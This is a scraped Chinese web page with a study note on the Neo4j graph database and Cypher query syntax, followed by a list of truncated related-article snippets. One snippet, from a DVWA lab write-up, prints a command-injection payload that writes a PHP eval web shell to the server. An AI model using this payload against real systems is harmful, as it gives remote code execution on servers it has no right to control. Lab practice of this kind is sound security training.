neo4j学习笔记

图数据库

图数据库是基于图论实现的一种NoSQL数据库,其数据存储结构和数据查询方式都是图论为基础的,图数据库主要用于存储更多的连接数据。

图论(GraphTheory)是数学的一个分支。图论以图为研究对象,图论的图是由若干给定的点及连接两点的线所构成的图形,这种图形通常用来描述某些事物之间的某种特定关系,用点表示事物,用连接两点的线表示相应两个事物具有关系

关系数据库:适合需要高度数据一致性、事务完整性和复杂查询的应用,如金融、会计等。
非关系数据库:适合需要高扩展性、高性能和存储半结构化数据的应用,如社交网络、大数据应用等。

neo4j数据库模型

节点和关系都包含属性
关系连接节点
属性是键值对
节点用圆圈表示,关系用方向键表示
关系具有方向:单向和双向
每个关系包含“开始节点”或“从节点”和“到节点”或“结束节点”

CQL使用

Neo4j图形数据库的查询语言,是一种声明性模式匹配语言

CREATE 创建

CREATE (<要创建的节点名称>:<节点标签名称>)
CREATE (<将要创建的节点名称>:<节点标签名称>{ 	<属性名称>:<属性值>........<属性名称>:<属性值>}
)
CREATE (节点名:标签名:标签名:标签名:标签名)
CREATE (<From节点的名称>:<From节点的标签名称>)-[<关系的名称>:<关系的标签名称>]->(<To节点的名称>:<To节点的标签名称>))

MATCH匹配

MATCH 
(<要创建一个节点名称>:<节点的标签名称>
)

MATCH 经常需要与其他的语句配合才可以使用,例如

# 查询Dept下的内容
MATCH (dept:Dept) return dept# 查询Employee标签下 id=123,name="Lokesh"的节点
MATCH (p:Employee {id:123,name:"Lokesh"}) RETURN p## 查询Employee标签下name="Lokesh"的节点,使用(where命令)
MATCH (p:Employee)
WHERE p.name = "Lokesh"
RETURN p

RETURN返回

RETURN <要创建的节点名称>.<要创建的节点的属性名称>,........<要创建的节点名称>.<要创建的节点的属性名称>

WHERE哪里

WHERE <条件>
条件包括以下:
<节点或关系的属性名称> <比较运算符之一> <字面值,如数字文字,字符串文字等>
比较运算符:
and ,  or ,  not,  xor【位运算,相同为0,不同为1,  <,  > , <> 【不等于】, = , <= , >= , 

DELETE删除

DELETE <要从数据库中删除的节点名称列表>   
# 使用逗号(,)运算符来分隔节点名
DELETE <结束节点名称>,<结束节点名称>,<关系名称>
# 使用逗号(,)运算符来分隔节点名称和关系名称

REMOVE移除

REMOVE <属性列表>
属性列表如下:
<节点的名称>.<节点的属性名称>,
<节点的名称>.<节点的属性名称>, 
.... 
<节点的名称>.<节点的属性名称> 

使用逗号(,)运算符来分隔标签名称列表
使用dot(.)运算符来分隔节点名称和标签名称

REMOVE <标签列表> # 用于永久性地从节点或关系中删除它
标签列表如下:
<节点的名称>:<节点的标签名称>, 
.... 
<节点的名称>:<节点的标签名称> 

使用逗号(,)运算符来分隔标签名称列表
使用dot(.)运算符来分隔节点名称和标签名称

ORDER BY以…排序

默认升序排序

ORDER BY  <属性名列表>  [DESC]	 
<属性名列表>语法:
<节点的标签名称>.<节点的属性名称>,
<节点的标签名称>.<节点的属性名称>, 
.... 
<节点的标签名称>.<节点的属性名称> 

使用逗号(,)运算符来分隔属性名列表

SET组

SET  <属性名称列表>  #用于执行添加或更新操作以满足我们的要求
属性名称列表如下:
<节点的标签名称>.<节点的属性名>,
<节点的标签名称>.<节点的属性名>, 
.... 
<节点的标签名称>.<节点的属性名> 

使用逗号(,)运算符来分隔属性名列表
使用dot(.)运算符来分隔节点标签名称和属性名称

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66210.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架

REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架 前言 提出这一模型的初衷为了应对大量计算资源和数据集出现伴随的知识产权问题。使用LLM合成类似人类的内容容易受到恶意利用,包括垃圾邮件和抄袭。 ChatGPT等大语言模型LLM的开发取得的进展标志着人机对话交互的范式…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局&#xff1f;new一个对象到底占多大内存&#xff1f; 话不多说&#xff0c;看下图&#xff0c;对象的内存布局图 一个对象的内存布局主要由三部分组成&#xff1a;对象头&#xff08;Object Header&#xff09;、实例数据&#xff08;Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

union的实际使用

记录一下&#xff0c;免得忘记&#xff1a; 1、定义一个共用体变量 这里定义一个64位变量 i2creg_rev&#xff0c;然后通过共用体定义两个位变量bits和bits_reverse&#xff0c;通过bit可以访问指定位的值大小&#xff0c;不需要自己再左移右移转换。 bits_reverse是bits的对…

【深度学习基础之多尺度特征提取】多尺度卷积神经网络(MS-CNN)是如何在深度学习网络中提取多尺度特征的?附代码(二)

【深度学习基础之多尺度特征提取】多尺度卷积神经网络&#xff08;MS-CNN&#xff09;是如何在深度学习网络中提取多尺度特征的&#xff1f;附代码&#xff08;二&#xff09; 【深度学习基础之多尺度特征提取】多尺度卷积神经网络&#xff08;MS-CNN&#xff09;是如何在深度…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

安装和配置MySQL教程

以下是在不同操作系统下安装和配置MySQL的详细教程&#xff1a; Windows系统 下载MySQL安装包 访问MySQL官方网站&#xff08;https://dev.mysql.com/downloads/mysql/&#xff09;&#xff0c;根据你的操作系统版本&#xff08;32位或64位&#xff09;下载相应的MySQL Commu…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

编译 C++ 程序:分离与保留调试信息以支持 GDB 对 Core 文件的调试

在 C 程序开发过程中&#xff0c;调试是一个非常重要的环节。当程序出现问题&#xff0c;尤其是在生产环境中出现崩溃并生成 Core 文件时&#xff0c;我们需要使用调试工具&#xff08;如 GDB&#xff09;对程序进行深入分析&#xff0c;找出问题的根源。为了在需要时能够有效地…

python对mongodb的增删查改

python对mongodb的增删查改 1. 安装 pymongo2. 连接 MongoDB3. 创建&#xff08;插入&#xff09;文档插入单个文档插入多个文档 4. 查询文档查询单个文档查询多个文档复杂查询嵌套查询分页条件查询&#xff08;通用模版&#xff09; 5. 更新文档更新单个文档更新多个文档更新嵌…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

让私域用户付费的三个关键要素

在吸引私域用户付费的过程中&#xff0c;有三个关键要素是不可忽视的。 下面&#xff0c;就一起来看看是哪三个要素&#xff0c;帮助你更好地挖掘私域用户的潜力。 价值提供&#xff1a;真正解决用户的问题 简单来说&#xff0c;用户愿意为他们认为有价值的东西付费。当你的…

Qt:子线程在程序退出时的操作

在Qt中可以使用线程指针对子线程进行操作。子线程可以使用使用基本指针&#xff0c;shared_ptr&#xff0c;两种指针进行操作&#xff08;QSharedPointer指针操作有问题还未解决&#xff0c;先不讲&#xff09;。 // c标准库 shared_ptr<QThread> thread_;// 基本指针 Q…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …